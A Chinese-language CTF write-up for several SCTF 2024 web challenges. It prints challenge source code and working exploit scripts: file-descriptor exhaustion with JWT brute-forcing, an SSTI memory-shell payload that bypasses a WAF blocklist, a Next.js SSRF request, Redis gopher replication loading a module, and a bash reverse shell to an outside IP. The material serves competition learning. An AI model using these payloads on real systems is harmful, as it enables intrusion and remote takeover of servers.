SCTF为XCTF的分站赛,难度很高,题目质量相当不错
Ezrender
题目主要源码如下
from flask import Flask, render_template, request, render_template_string,redirect
from verify import *
from User import User
import base64
from waf import waf
app = Flask(__name__,static_folder="static",template_folder="templates")
user={}
@app.route('/register', methods=["POST","GET"])
def register():
method=request.method
if method=="GET":
return render_template("register.html")
if method=="POST":
data = request.get_json()
name = data["username"]
pwd = data["password"]
if name != None and pwd != None:
if data["username"] in user:
return "This name had been registered"
else:
user[name] = User(name, pwd)
return "OK"
@app.route('/login', methods=["POST","GET"])
def login():
method=request.method
if method=="GET":
return render_template("login.html")
if method=="POST":
data = request.get_json()
name = data["username"]
pwd = data["password"]
if name != None and pwd != None:
if name not in user:
return "This account is not exist"
else:
if user[name].pwd == pwd:
token=generateToken(user[name])
return "OK",200,{"Set-Cookie":"Token="+token}
else:
return "Wrong password"
@app.route('/admin', methods=["POST","GET"])
def admin():
try:
token = request.headers.get("Cookie")[6:]
except:
return "Please login first"
else:
infor = json.loads(base64.b64decode(token))
name = infor["name"]
token = infor["secret"]
result = check(user[name], token)
method=request.method
if method=="GET":
return render_template("admin.html",name=name)
if method=="POST":
template = request.form.get("code")
if result != "True":
return result, 401
#just only blackList
if waf(template):
return "Hacker Found"
result=render_template_string(template)
print(result)
if result !=None:
return "OK"
else:
return "error"
@app.route('/', methods=["GET"])
def index():
return redirect("login")
@app.route('/removeUser', methods=["POST"])
def remove():
try:
token = request.headers.get("Cookie")[6:]
except:
return "Please login first"
else:
infor = json.loads(base64.b64decode(token))
name = infor["name"]
token = infor["secret"]
result = check(user[name], token)
if result != "True":
return result, 401
rmuser=request.form.get("username")
user.pop(rmuser)
return "Successfully Removed:"+rmuser
if __name__ == '__main__':
# for the safe
del __builtins__.__dict__['eval']
app.run(debug=False, host='0.0.0.0', port=8080)
其中secret逻辑如下
import time
class User():
def __init__(self,name,password):
self.name=name
self.pwd = password
self.Registertime=str(time.time())[0:10]
self.handle=None
self.secret=self.setSecret()
def handler(self):
self.handle = open("/dev/random", "rb")
def setSecret(self):
secret = self.Registertime
try:
if self.handle == None:
self.handler()
secret += str(self.handle.read(22).hex())
except Exception as e:
print("this file is not exist or be removed")
return secret
给的hint如下
ulimit -n =2048
cat /etc/timezone : UTC
超过2048个进程后读取不到/dev/random,只open没关,可能导致2048被占满
写脚本创建超过2048个用户,之后创建admin用户,并爆破时间戳
import socket
import threading
import requests
import random
import base64
import json
import jwt
import time
def sendUpload(_host, _port,num):
"""
POST /login HTTP/1.1
Host: 1.95.40.5:30065
Content-Type: application/json
Origin: http://1.95.40.5:30065
Referer: http://1.95.40.5:30065/login
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Content-Length: 39
{"username":"admin","password":"admin"}
"""
# 构建HTTP请求头
_U = "admin"+str(num)
_P = "admin"+str(num)
_data = f"{{\"username\":\"{_U}\",\"password\":\"{_P}\"}}"
request = (
"POST /register HTTP/1.1\r\n"
f"Host: {_host}:{_port}\r\n"
f"Content-Type: application/json\r\n"
f"Content-Length: {len(_data)}\r\n"
"\r\n"
).encode('utf-8') + _data.encode('utf-8')
# 创建socket并发送请求
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.connect((_host, _port))
sock.sendall(request)
response = b""
while True:
chunk = sock.recv(1024)
if not chunk:
break
response += chunk
# print(response)
def send2(_host, _port,num):
for i in range((num-1)*500,num*500):
sendUpload(_host, _port,i)
if __name__ == "__main__":
host = "1.95.40.5"
port =22104
threads = []
for i in range(1,6):
t1 = threading.Thread(target=send2, args=(host, port,i))
threads.append(t1)
t1.start()
for t in threads:
t.join()
url = "http://" + host + ":" + str(port)
_U = "admin"+str(4000)
_P = "admin"+str(4000)
data = {
"username": _U,
"password": _P,
}
re = requests.post(url + "/register", json=data)
re = requests.post(url + "/login", json=data)
token = re.headers['Set-Cookie'].split("=")[1]
token = token + "==="
sign = json.loads(base64.b64decode(token).decode())['secret']
print(sign)
secret_mid = int(str(time.time())[0:10])
# verify_c=jwt.encode(secret, secret_key, algorithm='HS256')
for i in range(-100000, 100000):
try:
secret = str(secret_mid + i)
print(jwt.decode(sign, secret, algorithms=['HS256']))
print(secret)
print("NBNB")
except:
pass
使用生产的时间戳伪造token
import requests
import random
import base64
import json
import jwt
import time
from numpy.distutils.conv_template import header
url = "http://1.95.40.5:24835"
# url = "http://127.0.0.1:9999"
secret_key = "1727591047"
secret = {"name": 'admin4000', "is_admin": "1"}
verify_c = jwt.encode(secret, secret_key, algorithm='HS256')
infor = {"name": 'admin4000', "secret": verify_c}
token = base64.b64encode(json.dumps(infor).encode()).decode()
print(token)
bp爆破删除1~3000的用户
之后便可以ssti,这个也是本题目的难点
waf如下
evilcode=["\\",
"{%",
"config",
"session",
"request",
"self",
"url_for",
"current_app",
"get_flashed_messages",
"lipsum",
"cycler",
"joiner",
"namespace",
"chr",
"request.",
"|",
"%c",
"eval",
"[",
"]",
"exec",
"pop(",
"get(",
"setdefault",
"getattr",
":",
"os",
"app"]
whiteList=[]
def waf(s):
s=str(s.encode())[2:-1].replace("\\'","'").replace(" ","")
if not s.isascii():
return False
else:
for key in evilcode:
if key in s:
return True
return False
经过测试题目不出网并且无回显,可以用高版本flask内存马,由于过滤了[]
以及:
构造绕过内存马如下
{{g.pop.globals.builtins.getitem('geTattr'.lower())(g.pop.globals.builtins.import('sys').modules.main.dict.getitem('aPP'.lower()).dict.getitem('before_re'+'quest_funcs'),'setdef'+'ault')(None, g.pop.globals.builtins.list()).insert(1,g.pop.globals.builtins.import('o'+'s').popen('dir').read)}}
成功访问得到flag
EzJump
题目redis主要漏洞代码如下
import socket
REDIS_HOST = '172.11.0.4'
REDIS_PORT = 6379
def pack_command(*args):
# 构建 RESP 请求
command = f"*{len(args)}\r\n"
for arg in args:
arg_str = str(arg)
command += f"${len(arg_str)}\r\n{arg_str}\r\n"
return command.encode('utf-8')
def connect_redis():
redis_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
redis_socket.connect((REDIS_HOST, REDIS_PORT))
return redis_socket
def GET(key):
redis_socket = connect_redis()
try:
# 发送命令
command = pack_command('GET', key)
redis_socket.sendall(command)
# 接收响应
response = b''
while True:
chunk = redis_socket.recv(1024)
response += chunk
if response.endswith(b'\r\n'):
break
finally:
redis_socket.close()
if "$-1\r\n" in response.decode('utf-8'):
return None
# 提取真实内容
result_start_idx = response.index(b'\r\n') + 2 # 跳过第一行响应
result_end_idx = response.index(b'\r\n', result_start_idx) # 找到第二个\r\n
real_content = response[result_start_idx:result_end_idx]
return real_content
def SET(key, value):
redis_socket = connect_redis()
try:
# 发送命令
command = pack_command('SET', key, value)
command = WAF(command)
redis_socket.sendall(command)
# 接收响应
response = b''
while True:
chunk = redis_socket.recv(1024)
response += chunk
if response.endswith(b'\r\n'):
break
finally:
redis_socket.close()
return response.decode('utf-8')
def WAF(key):
if b'admin' in key:
key = key.replace(b'admin', b'hacker')
return key
能够执行命令,并且会waf掉admin
后端backend代码如下
import os
import subprocess
import urllib.request
from flask import Flask, request, session, render_template
from Utils.utils import *
app = Flask(__name__)
app.secret_key = os.urandom(32)
@app.route('/', methods=['GET'])
def hello():
return "Welcome to SCTF 2024! Have a Good Time!"
@app.route('/login', methods=['GET'])
def login():
username = request.args.get("username")
password = request.args.get("password")
user =get_user(username)
if user:
if password == user['password']:
if user['role']=="admin":
cmd=request.args.get("cmd")
if not cmd:
return "No command provided", 400
if waf(cmd):
return "nonono"
try:
result = subprocess.run(['curl', cmd], stdout=subprocess.PIPE, stderr=subprocess.PIPE,text=True,encoding='utf-8')
return result.stdout
except Exception as e:
return f"Error: {str(e)}", 500
else:
session['username'] = username
session['role'] = user['role']
return render_template('index.html', username=session['username'], role=session['role'])
else:
session['username'] = 'guest'
session['role'] = 'noBody'
return render_template('index.html', username=session['username'], role=session['role'])
else:
add_user(username, password, 'n0B0dy')
user = get_user(username)
if user:
session['username'] = username
session['role'] = 'noBody'
else:
session['username'] = 'guest'
session['role'] = 'noBody'
return render_template('index.html', username=session['username'], role=session['role'])
return "Please give me username and password!"
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=5000)
backend存在类似php反序列化字符串逃逸 脚本如下
import json
import base64
from urllib.parse import quote
user_info = {'password': 'gh4tgh4t', 'role': 'admin'}
user_info_json = json.dumps(user_info)
user_info_serialized = base64.b64encode(user_info_json.encode()).decode()
overlong = '\r\n' + f'${len(user_info_serialized)}\r\n{user_info_serialized}\r\n'
payload = len(overlong) * 'admin' + overlong
print(quote(payload))
print('hacker' * len(overlong))
next.js版本存在SSRF漏洞
https://github.com/azu/nextjs-CVE-2024-34351
POST /success HTTP/1.1
Host: 121.40.72.38:5000
Content-Length: 279
Next-Action: b421a453a66309ec62a2d2049d51250ee55f10fd
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/x-component
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryK2tfE2vyA0pfeca6
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22success%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Origin: http://121.40.72.38:5000/
Referer: http://1.95.80.117:3000/success
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryK2tfE2vyA0pfeca6
Content-Disposition: form-data; name="1_$ACTION_ID_b421a453a66309ec62a2d2049d51250ee55f10fd"
------WebKitFormBoundaryK2tfE2vyA0pfeca6
Content-Disposition: form-data; name="0"
["$K1"]
------WebKitFormBoundaryK2tfE2vyA0pfeca6--
构造server.py 参考: https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps
from flask import Flask, Response, request, redirect
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch(path):
if request.method == 'HEAD':
resp = Response("")
resp.headers['Content-Type'] = 'text/x-component'
return resp
return redirect('http://172.11.0.3:5000/login?username=adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin%0D%0A%2456%0D%0AeyJwYXNzd29yZCI6ICJnaDR0Z2g0dCIsICJyb2xlIjogImFkbWluIn0%3D%0D%0A&password=123')
# return redirect('http://172.11.0.3:5000/login?username=hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker&password=gh4tgh4t&cmd=Gopher%3A//172.11.0.4%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25246%250D%250Aexp.so%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252415%250D%250Aslave-read-only%250D%250A%25242%250D%250Ano%250D%250A%252A3%250D%250A%25247%250D%250Aslaveof%250D%250A%252412%250D%250A121.40.72.38%250D%250A%25245%250D%250A21000%250D%250A')
# return redirect('http://172.11.0.3:5000/login?username=adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin%0D%0A%2456%0D%0AeyJwYXNzd29yZCI6ICJnaDR0Z2g0dCIsICJyb2xlIjogImFkbWluIn0%3D%0D%0A&password=123')
# return redirect('http://172.11.0.3:5000/login?username=hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker&password=gh4tgh4t&cmd=Gopher%3A//172.11.0.4%3A6379/_%252A3%250D%250A%25246%250D%250Amodule%250D%250A%25244%250D%250Aload%250D%250A%252412%250D%250A/data/exp.so%250D%250A')
# return redirect('http://172.11.0.3:5000/login?username=hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker&password=gh4tgh4t&cmd=Gopher%3A//172.11.0.4%3A6379/_%252A2%250D%250A%252411%250D%250Asystem.exec%250D%250A%252452%250D%250Abash%2520-c%2520%2522bash%2520-i%2520%253E%2526%2520/dev/tcp/121.40.72.38/2333%25200%253E%25261%2522%250D%250A')
if __name__ == "__main__":
app.run()
backend攻击redis的主从复制
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr
cmd = ""
cmd += "*"+str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x))) + CRLF + x
cmd += CRLF
return cmd
cmd = [
"flushall",
"config set dbfilename exp.so",
"config set slave-read-only no",
"slaveof 121.40.72.38 21000",
]
cmd = [c.split(' ') for c in cmd]
gopher_payload = 'Gopher://172.11.0.4:6379/_'+quote(''.join([redis_format(c) for c in cmd]))
print(quote(gopher_payload))
config set slave-read-only no非常关键。因为主从复制之后会清除key,这时如果没关闭只读,则无法再写入key,使得redis后端无法再被访问
然后再重新新设置key,在load exp.so。最后反弹shell即可
cmd = ["module load /data/exp.so".split(" ")]
gopher_payload = 'Gopher://172.11.0.4:6379/_'+quote(''.join([redis_format(c) for c in cmd]))
print(quote(gopher_payload))
cmd = [["system.exec", 'bash -c "bash -i >& /dev/tcp/121.40.72.38/2333 0>&1"']]
gopher_payload = 'Gopher://172.11.0.4:6379/_'+quote(''.join([redis_format(c) for c in cmd]))
print(quote(gopher_payload))
havefun
扫描到robots.txt
User-agent: *
Disallow: /issues/gantt
Disallow: /issues/calendar
Disallow: /activity
Disallow: /search
Disallow: /issues?sort=
Disallow: /issues?query_id=
Disallow: /issues?*set_filter=
Disallow: /issues/*.pdf$
Disallow: /projects/*.pdf$
Disallow: /login
Disallow: /account/register
Disallow: /account/lost_password
题目说是php,但好像是redmine(ruby写的)。先确定redmine版本
图片内有 部分php代码
<?php
$file = '/etc/apache2/sites-available/000-default.conf';
$content = file_get_contents($file);
echo htmlspecialchars($content);
?>
执行后如下
# /etc/apache2/sites-available/000-default.conf
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
PassengerAppRoot /usr/share/redmine
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
<Directory /var/www/html/redmine>
RailsBaseURI /redmine
#PassengerResolveSymlinksInDocumentRoot on
</Directory>
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
LogLevel alert rewrite:trace3
RewriteEngine On
RewriteRule ^/profile/(.*)$ /$1.html
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
</VirtualHost>
Simpleshop
- CVE-2023-3232
https://blog.csdn.net/weixin_68999845/article/details/133137975
越权拿token
扫描到robots.txt
注册账号地址:http://1.95.46.1/register.html
版本5.4.0
- app/services/product/product目录下的CopyTaobaoServices.php
https://avd.aliyun.com/detail?id=AVD-2024-6943 - PublicController.php文件中的get_image_base64函数
https://avd.aliyun.com/detail?id=AVD-2024-6944
思路卡到了这里
SycServer2.0
扫描到robots.txt
疑似password处有sql注入,但需要写加密脚本如下
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from base64 import b64encode
import requests
def rsa_encrypt(plain_text):
public_key = """-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ
TfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC
XmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe
I+Atul1rSE0APhHoPwIDAQAB
-----END PUBLIC KEY-----"""
pub_key = RSA.import_key(public_key)
cipher = PKCS1_OAEP.new(pub_key)
encrypted_text = cipher.encrypt(plain_text.encode('utf-8'))
return b64encode(encrypted_text).decode('utf-8')
session = requests.session()
# session.proxies = {"http":"http://127.0.0.1:8080"}
burp0_url = "http://1.95.87.154:26691/login"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36", "Content-Type": "application/json", "Accept": "*/*", "Origin": "http://1.95.87.154:26691", "Referer": "http://1.95.87.154:26691/", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
message = "admin123"
passwd = rsa_encrypt(message)
burp0_json={"password": passwd, "username": "admin"}
res = session.post(burp0_url, headers=burp0_headers, json=burp0_json)
print(res.text)
没有评论